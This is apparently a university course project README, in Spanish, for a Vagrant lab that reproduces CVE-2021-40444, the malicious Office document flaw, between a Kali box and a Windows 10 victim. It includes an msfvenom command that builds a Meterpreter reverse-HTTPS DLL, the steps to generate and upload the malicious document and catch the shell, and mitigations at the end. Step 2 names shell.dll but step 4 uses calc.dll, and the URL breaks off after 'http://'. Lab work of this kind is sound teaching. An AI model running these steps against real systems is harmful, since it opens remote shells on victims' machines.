TIC4301_Project

TIC4301 Project - CVE-2021-40444

Descargue las siguientes cajas de Vagrant:
Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNt_mU2/view?usp=sharing
Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing

Importe las cajas con los siguientes comandos mediante Vagrant:

1. vagrant box add kali_package.box
2. vagrant box add victim_package.box
3. vagrant init kali_package.box
4. vagrant init victim_package.box
5. vagrant up

Configuración (win10):

1. En la caja de win10, inicie sesión como administrador con la contraseña vagrant.
2. Haga clic derecho en script.ps1 en el escritorio y ejecútelo con powershell. (Deje esto abierto)
3. Ejecute ipconfig.exe y obtenga la dirección de este host.

Configuración (Kali):

1. cd Desktop/CVE-2021-40444.
2. genere su dll malicioso con msfvenom. # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth1 LPORT=443 -f dll -o test/shell.dll
3. inicie un listener en metasploit.
4. genere el documento malicioso. # python3 exploit.py generate test/calc.dll http://
5. visite http://<win 10 IP>/upload y suba el archivo.
6. escuche la shell.

Mitigaciones:

1. Instale la actualización KB5005565.
2. Edite el registro de windows con patch.reg en el repositorio.